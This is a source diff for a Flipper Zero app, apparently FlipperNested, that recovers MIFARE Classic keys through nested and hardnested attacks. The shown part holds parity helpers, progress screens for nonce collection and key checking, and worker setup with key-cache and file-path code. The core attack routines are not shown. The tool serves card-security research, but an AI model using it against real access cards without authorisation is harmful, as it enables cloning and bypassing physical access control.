mifare_nested/lib/parity/parity.c

@@ -0,0 +1,71 @@
+#include "parity.h"
+
+uint32_t __paritysi2(uint32_t a) {
+    uint32_t x = (uint32_t)a;
+    x ^= x >> 16;
+    x ^= x >> 8;
+    x ^= x >> 4;
+    return (0x6996 >> (x & 0xF)) & 1;
+}
+
+static const uint8_t g_odd_byte_parity[256] = {
+    1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0,
+    1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1,
+    1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1,
+    0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0,
+    1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1,
+    0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0,
+    0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1,
+    0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
+    1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1};
+
+#define ODD_PARITY8(x) \
+    { g_odd_byte_parity[x] }
+#define EVEN_PARITY8(x) \
+    { !g_odd_byte_parity[x] }
+
+uint8_t oddparity8(const uint8_t x) {
+    return g_odd_byte_parity[x];
+}
+
+uint8_t evenparity8(const uint8_t x) {
+    return !g_odd_byte_parity[x];
+}
+
+uint8_t evenparity16(uint16_t x) {
+#if !defined __GNUC__
+    x ^= x >> 8;
+    return EVEN_PARITY8(x);
+#else
+    return (__builtin_parity(x) & 0xFF);
+#endif
+}
+
+uint8_t oddparity16(uint16_t x) {
+#if !defined __GNUC__
+    x ^= x >> 8;
+    return ODD_PARITY8(x);
+#else
+    return !__builtin_parity(x);
+#endif
+}
+
+uint8_t evenparity32(uint32_t x) {
+#if !defined __GNUC__
+    x ^= x >> 16;
+    x ^= x >> 8;
+    return EVEN_PARITY8(x);
+#else
+    return (__builtin_parity(x) & 0xFF);
+#endif
+}
+
+uint8_t oddparity32(uint32_t x) {
+#if !defined __GNUC__
+    x ^= x >> 16;
+    x ^= x >> 8;
+    return ODD_PARITY8(x);
+#else
+    return !__builtin_parity(x);
+#endif
+}

+ 10 - 0
mifare_nested/lib/parity/parity.h

@@ -0,0 +1,10 @@
+#include "stdint.h"
+
+uint8_t oddparity8(const uint8_t x);
+uint8_t evenparity8(const uint8_t x);
+
+uint8_t evenparity16(uint16_t x);
+uint8_t oddparity16(uint16_t x);
+
+uint8_t evenparity32(uint32_t x);
+uint8_t oddparity32(uint32_t x);

+ 409 - 0
mifare_nested/mifare_nested.c

@@ -0,0 +1,409 @@
+#include "mifare_nested_i.h"
+#include <gui/elements.h>
+
+bool mifare_nested_custom_event_callback(void* context, uint32_t event) {
+    furi_assert(context);
+    MifareNested* mifare_nested = context;
+    return scene_manager_handle_custom_event(mifare_nested->scene_manager, event);
+}
+
+bool mifare_nested_back_event_callback(void* context) {
+    furi_assert(context);
+    MifareNested* mifare_nested = context;
+    return scene_manager_handle_back_event(mifare_nested->scene_manager);
+}
+
+void mifare_nested_tick_event_callback(void* context) {
+    furi_assert(context);
+    MifareNested* mifare_nested = context;
+    scene_manager_handle_tick_event(mifare_nested->scene_manager);
+}
+
+void mifare_nested_show_loading_popup(void* context, bool show) {
+    MifareNested* mifare_nested = context;
+    TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME);
+
+    if(show) {
+        // Raise timer priority so that animations can play
+        vTaskPrioritySet(timer_task, configMAX_PRIORITIES - 1);
+        view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewLoading);
+    } else {
+        // Restore default timer priority
+        vTaskPrioritySet(timer_task, configTIMER_TASK_PRIORITY);
+    }
+}
+
+NestedState* collection_alloc() {
+    NestedState* nested = malloc(sizeof(NestedState));
+    nested->view = view_alloc();
+    view_allocate_model(nested->view, ViewModelTypeLocking, sizeof(NestedAttackViewModel));
+    with_view_model(
+        nested->view,
+        NestedAttackViewModel * model,
+        {
+            model->header = furi_string_alloc();
+            furi_string_set(model->header, "Collecting nonces");
+            model->keys_count = 0;
+            model->hardnested_states = 0;
+            model->lost_tag = false;
+            model->calibrating = false;
+            model->need_prediction = false;
+            model->hardnested = false;
+        },
+        false);
+
+    return nested;
+}
+
+CheckKeysState* check_keys_alloc() {
+    CheckKeysState* state = malloc(sizeof(CheckKeysState));
+    state->view = view_alloc();
+    view_allocate_model(state->view, ViewModelTypeLocking, sizeof(CheckKeysViewModel));
+    with_view_model(
+        state->view,
+        CheckKeysViewModel * model,
+        {
+            model->header = furi_string_alloc();
+            furi_string_set(model->header, "Checking keys");
+            model->lost_tag = false;
+        },
+        false);
+
+    return state;
+}
+
+static void nested_draw_callback(Canvas* canvas, void* model) {
+    NestedAttackViewModel* m = model;
+
+    if(m->lost_tag) {
+        canvas_set_font(canvas, FontPrimary);
+        canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Lost the tag!");
+        canvas_set_font(canvas, FontSecondary);
+        elements_multiline_text_aligned(
+            canvas, 64, 23, AlignCenter, AlignTop, "Make sure the tag is\npositioned correctly.");
+    } else if(m->calibrating) {
+        canvas_set_font(canvas, FontPrimary);
+        canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Calibrating...");
+        canvas_set_font(canvas, FontSecondary);
+        if(!m->need_prediction) {
+            elements_multiline_text_aligned(
+                canvas, 64, 23, AlignCenter, AlignTop, "Don't touch or move\nFlipper/Tag!");
+        } else {
+            elements_multiline_text_aligned(
+                canvas, 64, 18, AlignCenter, AlignTop, "Don't touch or move tag!");
+            canvas_set_font(canvas, FontPrimary);
+            elements_multiline_text_aligned(
+                canvas, 64, 30, AlignCenter, AlignTop, "Calibration will take\nmore time");
+        }
+    } else if(m->hardnested) {
+        char draw_str[32] = {};
+        canvas_set_font(canvas, FontPrimary);
+        canvas_draw_str_aligned(
+            canvas, 64, 2, AlignCenter, AlignTop, furi_string_get_cstr(m->header));
+        canvas_set_font(canvas, FontSecondary);
+
+        float progress =
+            m->keys_count == 0 ? 0 : (float)(m->nonces_collected) / (float)(m->keys_count);
+
+        if(progress > 1.0) {
+            progress = 1.0;
+        }
+
+        elements_progress_bar(canvas, 5, 15, 120, progress);
+        canvas_set_font(canvas, FontSecondary);
+        snprintf(
+            draw_str,
+            sizeof(draw_str),
+            "Nonces collected: %lu/%lu",
+            m->nonces_collected,
+            m->keys_count);
+        canvas_draw_str_aligned(canvas, 1, 28, AlignLeft, AlignTop, draw_str);
+        snprintf(draw_str, sizeof(draw_str), "States found: %lu/256", m->hardnested_states);
+        canvas_draw_str_aligned(canvas, 1, 40, AlignLeft, AlignTop, draw_str);
+    } else {
+        char draw_str[32] = {};
+        canvas_set_font(canvas, FontPrimary);
+        canvas_draw_str_aligned(
+            canvas, 64, 2, AlignCenter, AlignTop, furi_string_get_cstr(m->header));
+        canvas_set_font(canvas, FontSecondary);
+
+        float progress =
+            m->keys_count == 0 ? 0 : (float)(m->nonces_collected) / (float)(m->keys_count);
+
+        if(progress > 1.0) {
+            progress = 1.0;
+        }
+
+        elements_progress_bar(canvas, 5, 15, 120, progress);
+        canvas_set_font(canvas, FontSecondary);
+        snprintf(
+            draw_str,
+            sizeof(draw_str),
+            "Nonces collected: %lu/%lu",
+            m->nonces_collected,
+            m->keys_count);
+        canvas_draw_str_aligned(canvas, 1, 28, AlignLeft, AlignTop, draw_str);
+    }
+
+    elements_button_center(canvas, "Stop");
+}
+
+static void check_keys_draw_callback(Canvas* canvas, void* model) {
+    CheckKeysViewModel* m = model;
+
+    if(m->lost_tag) {
+        canvas_set_font(canvas, FontPrimary);
+        canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Lost the tag!");
+        canvas_set_font(canvas, FontSecondary);
+        elements_multiline_text_aligned(
+            canvas, 64, 23, AlignCenter, AlignTop, "Make sure the tag is\npositioned correctly.");
+    } else if(m->processing_keys) {
+        canvas_set_font(canvas, FontPrimary);
+        canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Processing keys...");
+        canvas_set_font(canvas, FontSecondary);
+        elements_multiline_text_aligned(
+            canvas, 64, 23, AlignCenter, AlignTop, "Checking which keys you\nalready have...");
+    } else {
+        char draw_str[32] = {};
+        char draw_sub_str[32] = {};
+        canvas_set_font(canvas, FontPrimary);
+        canvas_draw_str_aligned(
+            canvas, 64, 2, AlignCenter, AlignTop, furi_string_get_cstr(m->header));
+        canvas_set_font(canvas, FontSecondary);
+
+        float progress = m->keys_count == 0 ? 0 :
+                                              (float)(m->keys_checked) / (float)(m->keys_count);
+
+        if(progress > 1.0) {
+            progress = 1.0;
+        }
+
+        elements_progress_bar(canvas, 5, 15, 120, progress);
+        canvas_set_font(canvas, FontSecondary);
+        snprintf(
+            draw_str, sizeof(draw_str), "Keys checked: %lu/%lu", m->keys_checked, m->keys_count);
+        canvas_draw_str_aligned(canvas, 1, 28, AlignLeft, AlignTop, draw_str);
+        snprintf(
+            draw_sub_str,
+            sizeof(draw_sub_str),
+            "Keys found: %lu/%lu",
+            m->keys_found,
+            m->keys_total);
+        canvas_draw_str_aligned(canvas, 1, 40, AlignLeft, AlignTop, draw_sub_str);
+    }
+
+    elements_button_center(canvas, "Stop");
+}
+
+static bool nested_input_callback(InputEvent* event, void* context) {
+    MifareNested* mifare_nested = context;
+
+    bool consumed = false;
+
+    if(event->type == InputTypeShort && (event->key == InputKeyBack || event->key == InputKeyOk)) {
+        scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
+        consumed = true;
+    }
+
+    return consumed;
+}
+
+MifareNested* mifare_nested_alloc() {
+    MifareNested* mifare_nested = malloc(sizeof(MifareNested));
+
+    mifare_nested->worker = mifare_nested_worker_alloc();
+    mifare_nested->view_dispatcher = view_dispatcher_alloc();
+    mifare_nested->scene_manager =
+        scene_manager_alloc(&mifare_nested_scene_handlers, mifare_nested);
+    view_dispatcher_enable_queue(mifare_nested->view_dispatcher);
+    view_dispatcher_set_event_callback_context(mifare_nested->view_dispatcher, mifare_nested);
+    view_dispatcher_set_custom_event_callback(
+        mifare_nested->view_dispatcher, mifare_nested_custom_event_callback);
+    view_dispatcher_set_navigation_event_callback(
+        mifare_nested->view_dispatcher, mifare_nested_back_event_callback);
+    view_dispatcher_set_tick_event_callback(
+        mifare_nested->view_dispatcher, mifare_nested_tick_event_callback, 100);
+
+    // Nfc device
+    mifare_nested->nfc_dev = nfc_device_alloc();
+
+    // Open GUI record
+    mifare_nested->gui = furi_record_open(RECORD_GUI);
+    view_dispatcher_attach_to_gui(
+        mifare_nested->view_dispatcher, mifare_nested->gui, ViewDispatcherTypeFullscreen);
+
+    // Open Notification record
+    mifare_nested->notifications = furi_record_open(RECORD_NOTIFICATION);
+
+    // Submenu
+    mifare_nested->submenu = submenu_alloc();
+    view_dispatcher_add_view(
+        mifare_nested->view_dispatcher,
+        MifareNestedViewMenu,
+        submenu_get_view(mifare_nested->submenu));
+
+    // Popup
+    mifare_nested->popup = popup_alloc();
+    view_dispatcher_add_view(
+        mifare_nested->view_dispatcher,
+        MifareNestedViewPopup,
+        popup_get_view(mifare_nested->popup));
+
+    // Loading
+    mifare_nested->loading = loading_alloc();
+    view_dispatcher_add_view(
+        mifare_nested->view_dispatcher,
+        MifareNestedViewLoading,
+        loading_get_view(mifare_nested->loading));
+
+    // Text Input
+    mifare_nested->text_input = text_input_alloc();
+    view_dispatcher_add_view(
+        mifare_nested->view_dispatcher,
+        MifareNestedViewTextInput,
+        text_input_get_view(mifare_nested->text_input));
+
+    // Custom Widget
+    mifare_nested->widget = widget_alloc();
+    view_dispatcher_add_view(
+        mifare_nested->view_dispatcher,
+        MifareNestedViewWidget,
+        widget_get_view(mifare_nested->widget));
+
+    // Variable Item List
+    mifare_nested->variable_item_list = variable_item_list_alloc();
+    view_dispatcher_add_view(
+        mifare_nested->view_dispatcher,
+        MifareNestedViewVariableList,
+        variable_item_list_get_view(mifare_nested->variable_item_list));
+
+    // Nested attack state
+    NestedState* plugin_state = collection_alloc();
+    view_set_context(plugin_state->view, mifare_nested);
+    mifare_nested->nested_state = plugin_state;
+    view_dispatcher_add_view(
+        mifare_nested->view_dispatcher, MifareNestedViewCollecting, plugin_state->view);
+
+    // Check keys attack state
+    CheckKeysState* keys_state = check_keys_alloc();
+    view_set_context(keys_state->view, mifare_nested);
+    mifare_nested->keys_state = keys_state;
+    view_dispatcher_add_view(
+        mifare_nested->view_dispatcher, MifareNestedViewCheckKeys, keys_state->view);
+
+    KeyInfo_t* key_info = malloc(sizeof(KeyInfo_t));
+    mifare_nested->keys = key_info;
+
+    MifareNestedSettings* settings = malloc(sizeof(MifareNestedSettings));
+    settings->only_hardnested = false;
+    mifare_nested->settings = settings;
+
+    view_set_draw_callback(plugin_state->view, nested_draw_callback);
+    view_set_input_callback(plugin_state->view, nested_input_callback);
+
+    view_set_draw_callback(keys_state->view, check_keys_draw_callback);
+    view_set_input_callback(keys_state->view, nested_input_callback);
+
+    mifare_nested->collecting_type = MifareNestedWorkerStateReady;
+    mifare_nested->run = NestedRunIdle;
+
+    return mifare_nested;
+}
+
+void mifare_nested_free(MifareNested* mifare_nested) {
+    furi_assert(mifare_nested);
+
+    // Nfc device
+    nfc_device_free(mifare_nested->nfc_dev);
+
+    // Submenu
+    view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewMenu);
+    submenu_free(mifare_nested->submenu);
+
+    // Popup
+    view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewPopup);
+    popup_free(mifare_nested->popup);
+
+    // Loading
+    view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewLoading);
+    loading_free(mifare_nested->loading);
+
+    // TextInput
+    view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewTextInput);
+    text_input_free(mifare_nested->text_input);
+
+    // Custom Widget
+    view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
+    widget_free(mifare_nested->widget);
+
+    // Variable Item List
+    view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewVariableList);
+    variable_item_list_free(mifare_nested->variable_item_list);
+
+    // Nested
+    view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewCollecting);
+
+    // Check keys
+    view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewCheckKeys);
+
+    // Nonces states
+    free(mifare_nested->nonces);
+    free(mifare_nested->nested_state);
+
+    // Keys
+    free(mifare_nested->keys);
+
+    // Settings
+    free(mifare_nested->settings);
+
+    // Worker
+    mifare_nested_worker_stop(mifare_nested->worker);
+    mifare_nested_worker_free(mifare_nested->worker);
+
+    // View Dispatcher
+    view_dispatcher_free(mifare_nested->view_dispatcher);
+
+    // Scene Manager
+    scene_manager_free(mifare_nested->scene_manager);
+
+    // GUI
+    furi_record_close(RECORD_GUI);
+    mifare_nested->gui = NULL;
+
+    // Notifications
+    furi_record_close(RECORD_NOTIFICATION);
+    mifare_nested->notifications = NULL;
+
+    free(mifare_nested);
+}
+
+void mifare_nested_blink_start(MifareNested* mifare_nested) {
+    notification_message(mifare_nested->notifications, &mifare_nested_sequence_blink_start_blue);
+}
+
+void mifare_nested_blink_calibration_start(MifareNested* mifare_nested) {
+    notification_message(
+        mifare_nested->notifications, &mifare_nested_sequence_blink_start_magenta);
+}
+
+void mifare_nested_blink_nonce_collection_start(MifareNested* mifare_nested) {
+    notification_message(mifare_nested->notifications, &mifare_nested_sequence_blink_start_yellow);
+}
+
+void mifare_nested_blink_stop(MifareNested* mifare_nested) {
+    notification_message(mifare_nested->notifications, &mifare_nested_sequence_blink_stop);
+}
+
+int32_t mifare_nested_app(void* p) {
+    UNUSED(p);
+
+    MifareNested* mifare_nested = mifare_nested_alloc();
+
+    scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneStart);
+
+    view_dispatcher_run(mifare_nested->view_dispatcher);
+
+    mifare_nested_free(mifare_nested);
+
+    return 0;
+}

+ 3 - 0
mifare_nested/mifare_nested.h

@@ -0,0 +1,3 @@
+#pragma once
+
+typedef struct MifareNested MifareNested;

+ 181 - 0
mifare_nested/mifare_nested_i.h

@@ -0,0 +1,181 @@
+#pragma once
+#include "mifare_nested.h"
+#include "mifare_nested_worker.h"
+#include "lib/nested/nested.h"
+#include <furi.h>
+#include <gui/gui.h>
+#include <gui/view_dispatcher.h>
+#include <gui/scene_manager.h>
+#include <notification/notification_messages.h>
+#include <gui/modules/submenu.h>
+#include <gui/modules/popup.h>
+#include <gui/modules/loading.h>
+#include <gui/modules/text_input.h>
+#include <gui/modules/widget.h>
+#include <input/input.h>
+#include "scenes/mifare_nested_scene.h"
+#include <storage/storage.h>
+#include <lib/toolbox/path.h>
+#include <lib/nfc/nfc_device.h>
+#include <lib/toolbox/value_index.h>
+#include <gui/modules/variable_item_list.h>
+#include "mifare_nested_icons.h"
+
+#define NESTED_VERSION_APP "1.5.2"
+#define NESTED_GITHUB_LINK "https://github.com/AloneLiberty/FlipperNested"
+#define NESTED_RECOVER_KEYS_GITHUB_LINK "https://github.com/AloneLiberty/FlipperNestedRecovery"
+#define NESTED_NONCE_FORMAT_VERSION "3"
+#define NESTED_AUTHOR "@AloneLiberty (t.me/libertydev)"
+
+enum MifareNestedCustomEvent {
+    // Reserve first 100 events for button types and indexes, starting from 0
+    MifareNestedCustomEventReserved = 100,
+
+    MifareNestedCustomEventViewExit,
+    MifareNestedCustomEventWorkerExit,
+    MifareNestedCustomEventByteInputDone,
+    MifareNestedCustomEventTextInputDone,
+    MifareNestedCustomEventSceneSettingLock
+};
+
+typedef void (*NestedCallback)(void* context);
+
+typedef struct {
+    FuriMutex* mutex;
+    FuriMessageQueue* event_queue;
+    ViewPort* view_port;
+    View* view;
+    NestedCallback callback;
+    void* context;
+} NestedState;
+
+typedef void (*CheckKeysCallback)(void* context);
+
+typedef struct {
+    FuriMutex* mutex;
+    FuriMessageQueue* event_queue;
+    ViewPort* view_port;
+    View* view;
+    CheckKeysCallback callback;
+    void* context;
+} CheckKeysState;
+
+typedef enum {
+    EventTypeTick,
+    EventTypeKey,
+} EventType;
+
+typedef struct {
+    EventType type;
+    InputEvent input;
+} PluginEvent;
+
+typedef struct {
+    bool only_hardnested;
+} MifareNestedSettings;
+
+typedef enum { NestedRunIdle, NestedRunCheckKeys, NestedRunAttack } NestedRunNext;
+
+struct MifareNested {
+    MifareNestedWorker* worker;
+    ViewDispatcher* view_dispatcher;
+    Gui* gui;
+    NotificationApp* notifications;
+    SceneManager* scene_manager;
+    NfcDevice* nfc_dev;
+    VariableItemList* variable_item_list;
+    MifareNestedSettings* settings;
+    FuriString* text_box_store;
+
+    // Common Views
+    Submenu* submenu;
+    Popup* popup;
+    Loading* loading;
+    TextInput* text_input;
+    Widget* widget;
+
+    NonceList_t* nonces;
+    KeyInfo_t* keys;
+
+    NestedState* nested_state;
+    CheckKeysState* keys_state;
+    SaveNoncesResult_t* save_state;
+
+    MifareNestedWorkerState collecting_type;
+
+    NestedRunNext run;
+};
+
+typedef enum {
+    MifareNestedViewMenu,
+    MifareNestedViewPopup,
+    MifareNestedViewLoading,
+    MifareNestedViewTextInput,
+    MifareNestedViewWidget,
+    MifareNestedViewVariableList,
+    MifareNestedViewCollecting,
+    MifareNestedViewCheckKeys,
+} MifareNestedView;
+
+typedef struct {
+    FuriString* header;
+    uint32_t keys_count;
+    uint32_t nonces_collected;
+    uint32_t hardnested_states;
+    bool lost_tag;
+    bool calibrating;
+    bool need_prediction;
+    bool hardnested;
+} NestedAttackViewModel;
+
+typedef struct {
+    FuriString* header;
+    uint32_t keys_count;
+    uint32_t keys_checked;
+    uint32_t keys_found;
+    uint32_t keys_total;
+    bool lost_tag;
+    bool processing_keys;
+} CheckKeysViewModel;
+
+static const NotificationSequence mifare_nested_sequence_blink_start_blue = {
+    &message_blink_start_10,
+    &message_blink_set_color_blue,
+    &message_do_not_reset,
+    NULL,
+};
+
+static const NotificationSequence mifare_nested_sequence_blink_start_magenta = {
+    &message_blink_start_10,
+    &message_blink_set_color_magenta,
+    &message_do_not_reset,
+    NULL,
+};
+
+static const NotificationSequence mifare_nested_sequence_blink_start_yellow = {
+    &message_blink_start_10,
+    &message_blink_set_color_yellow,
+    &message_do_not_reset,
+    NULL,
+};
+
+static const NotificationSequence mifare_nested_sequence_blink_stop = {
+    &message_blink_stop,
+    NULL,
+};
+
+MifareNested* mifare_nested_alloc();
+
+void mifare_nested_text_store_set(MifareNested* mifare_nested, const char* text, ...);
+
+void mifare_nested_text_store_clear(MifareNested* mifare_nested);
+
+void mifare_nested_blink_start(MifareNested* mifare_nested);
+
+void mifare_nested_blink_calibration_start(MifareNested* mifare_nested);
+
+void mifare_nested_blink_nonce_collection_start(MifareNested* mifare_nested);
+
+void mifare_nested_blink_stop(MifareNested* mifare_nested);
+
+void mifare_nested_show_loading_popup(void* context, bool show);

+ 1713 - 0
mifare_nested/mifare_nested_worker.c

@@ -0,0 +1,1713 @@
+#include "mifare_nested_worker_i.h"
+
+#include "lib/nested/nested.h"
+#include "lib/parity/parity.h"
+#include <lib/nfc/protocols/nfc_util.h>
+
+#include <storage/storage.h>
+#include <stream/stream.h>
+#include <stream/file_stream.h>
+#include "string.h"
+#include <furi.h>
+#include <furi_hal.h>
+
+#define TAG "MifareNestedWorker"
+
+// possible sum property values
+static uint16_t sums[] =
+    {0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256};
+
+void mifare_nested_worker_change_state(
+    MifareNestedWorker* mifare_nested_worker,
+    MifareNestedWorkerState state) {
+    furi_assert(mifare_nested_worker);
+
+    mifare_nested_worker->state = state;
+}
+
+MifareNestedWorker* mifare_nested_worker_alloc() {
+    MifareNestedWorker* mifare_nested_worker = malloc(sizeof(MifareNestedWorker));
+
+    // Worker thread attributes
+    mifare_nested_worker->thread = furi_thread_alloc_ex(
+        "MifareNestedWorker", 8192, mifare_nested_worker_task, mifare_nested_worker);
+
+    mifare_nested_worker->callback = NULL;
+    mifare_nested_worker->context = NULL;
+
+    mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
+
+    return mifare_nested_worker;
+}
+
+void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker) {
+    furi_assert(mifare_nested_worker);
+
+    furi_thread_free(mifare_nested_worker->thread);
+    free(mifare_nested_worker);
+}
+
+void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker) {
+    furi_assert(mifare_nested_worker);
+
+    mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateStop);
+    furi_thread_join(mifare_nested_worker->thread);
+}
+
+void mifare_nested_worker_start(
+    MifareNestedWorker* mifare_nested_worker,
+    MifareNestedWorkerState state,
+    NfcDeviceData* dev_data,
+    MifareNestedWorkerCallback callback,
+    void* context) {
+    furi_assert(mifare_nested_worker);
+    furi_assert(dev_data);
+
+    mifare_nested_worker->callback = callback;
+    mifare_nested_worker->context = context;
+    mifare_nested_worker->dev_data = dev_data;
+    mifare_nested_worker_change_state(mifare_nested_worker, state);
+    furi_thread_start(mifare_nested_worker->thread);
+}
+
+int32_t mifare_nested_worker_task(void* context) {
+    MifareNestedWorker* mifare_nested_worker = context;
+
+    if(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
+        mifare_nested_worker_check(mifare_nested_worker);
+    } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
+        mifare_nested_worker_collect_nonces_static(mifare_nested_worker);
+    } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
+        mifare_nested_worker_collect_nonces(mifare_nested_worker);
+    } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
+        mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
+    } else if(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
+        mifare_nested_worker_check_keys(mifare_nested_worker);
+    }
+
+    mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
+
+    return 0;
+}
+
+void mifare_nested_worker_write_uid_string(FuriHalNfcDevData* data, FuriString* string) {
+    uint8_t* uid = data->uid;
+    uint8_t uid_len = data->uid_len;
+
+    for(size_t i = 0; i < uid_len; i++) {
+        uint8_t uid_part = uid[i];
+        furi_string_cat_printf(string, "%02X", uid_part);
+    }
+}
+
+void mifare_nested_worker_get_key_cache_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
+    furi_string_set(file_path, EXT_PATH("nfc/.cache") "/");
+
+    mifare_nested_worker_write_uid_string(data, file_path);
+
+    furi_string_cat_printf(file_path, ".keys");
+}
+
+void mifare_nested_worker_get_nonces_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
+    furi_string_set(file_path, NESTED_FOLDER "/");
+
+    mifare_nested_worker_write_uid_string(data, file_path);
+
+    furi_string_cat_printf(file_path, ".nonces");
+}
+
+void mifare_nested_worker_get_found_keys_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
+    furi_string_set(file_path, NESTED_FOLDER "/");
+
+    mifare_nested_worker_write_uid_string(data, file_path);
+
+    furi_string_cat_printf(file_path, ".keys");
+}
+
+void mifare_nested_worker_get_hardnested_folder_path(
+    FuriHalNfcDevData* data,
+    FuriString* file_path) {
+    furi_string_set(file_path, NESTED_FOLDER "/");
+
+    mifare_nested_worker_write_uid_string(data, file_path);
+}
+
+void mifare_nested_worker_get_hardnested_file_path(
+    FuriHalNfcDevData* data,
+    FuriString* file_path,
+    uint8_t sector,
+    uint8_t key_type) {
+    mifare_nested_worker_get_hardnested_folder_path(data, file_path);
+
+    furi_string_cat_printf(file_path, "/%u_%u.nonces", sector, key_type);
+}
+
+uint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) {
+    furi_assert(sector < 40);
+    if(sector < 32) {
+        return (sector * 4) + 3;
+    } else {
+        return 32 * 4 + (sector - 32) * 16 + 15;
+    }
+}
+
+static MfClassicSectorTrailer*
+    mifare_nested_worker_get_sector_trailer_by_sector(MfClassicData* data, uint8_t sector) {
+    return (MfClassicSectorTrailer*)data->block[mifare_nested_worker_get_block_by_sector(sector)]
+        .value;
+}
+
+bool mifare_nested_worker_read_key_cache(FuriHalNfcDevData* data, MfClassicData* mf_data) {
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    FuriString* temp_str = furi_string_alloc();
+    mifare_nested_worker_get_key_cache_file_path(data, temp_str);
+    FlipperFormat* file = flipper_format_file_alloc(storage);
+    bool load_success = false;
+    uint32_t sector_count = 0;
+
+    do {
+        if(storage_common_stat(storage, furi_string_get_cstr(temp_str), NULL) != FSE_OK) break;
+
+        if(!flipper_format_file_open_existing(file, furi_string_get_cstr(temp_str))) break;
+
+        uint32_t version = 0;
+
+        if(!flipper_format_read_header(file, temp_str, &version)) break;
+        if(furi_string_cmp_str(temp_str, "Flipper NFC keys")) break;
+
+        if(version != 1) break;
+
+        if(!flipper_format_read_string(file, "Mifare Classic type", temp_str)) break;
+
+        if(!furi_string_cmp(temp_str, "1K")) {
+            mf_data->type = MfClassicType1k;
+            sector_count = 16;
+        } else if(!furi_string_cmp(temp_str, "4K")) {
+            mf_data->type = MfClassicType4k;
+            sector_count = 40;
+        } else if(!furi_string_cmp(temp_str, "MINI")) {
+            mf_data->type = MfClassicTypeMini;
+            sector_count = 5;
+        } else {
+            break;
+        }
+
+        if(!flipper_format_read_hex_uint64(file, "Key A map", &mf_data->key_a_mask, 1)) break;
+        if(!flipper_format_read_hex_uint64(file, "Key B map", &mf_data->key_b_mask, 1)) break;
+
+        bool key_read_success = true;
+
+        for(size_t i = 0; (i < sector_count) && (key_read_success); i++) {
+            MfClassicSectorTrailer* sec_tr =
+                mifare_nested_worker_get_sector_trailer_by_sector(mf_data, i);
+
+            if(FURI_BIT(mf_data->key_a_mask, i)) {
+                furi_string_printf(temp_str, "Key A sector %d", i);
+                key_read_success = flipper_format_read_hex(
+                    file, furi_string_get_cstr(temp_str), sec_tr->key_a, 6);
+            }
+
+            if(!key_read_success) break;
+
+            if(FURI_BIT(mf_data->key_b_mask, i)) {
+                furi_string_printf(temp_str, "Key B sector %d", i);
+                key_read_success = flipper_format_read_hex(
+                    file, furi_string_get_cstr(temp_str), sec_tr->key_b, 6);
+            }
+        }
+
+        load_success = key_read_success;
+    } while(false);
+
+    furi_string_free(temp_str);
+    flipper_format_free(file);
+
+    return load_success;
+}
+
+bool hex_char_to_hex_nibble(char c, uint8_t* nibble) {
+    if((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
+        if(c <= '9') {
+            *nibble = c - '0';
+        } else if(c <= 'F') {
+            *nibble = c - 'A' + 10;
+        } else {
+            *nibble = c - 'a' + 10;
+        }
+        return true;
+    } else {
+        return false;
+    }
+}
+
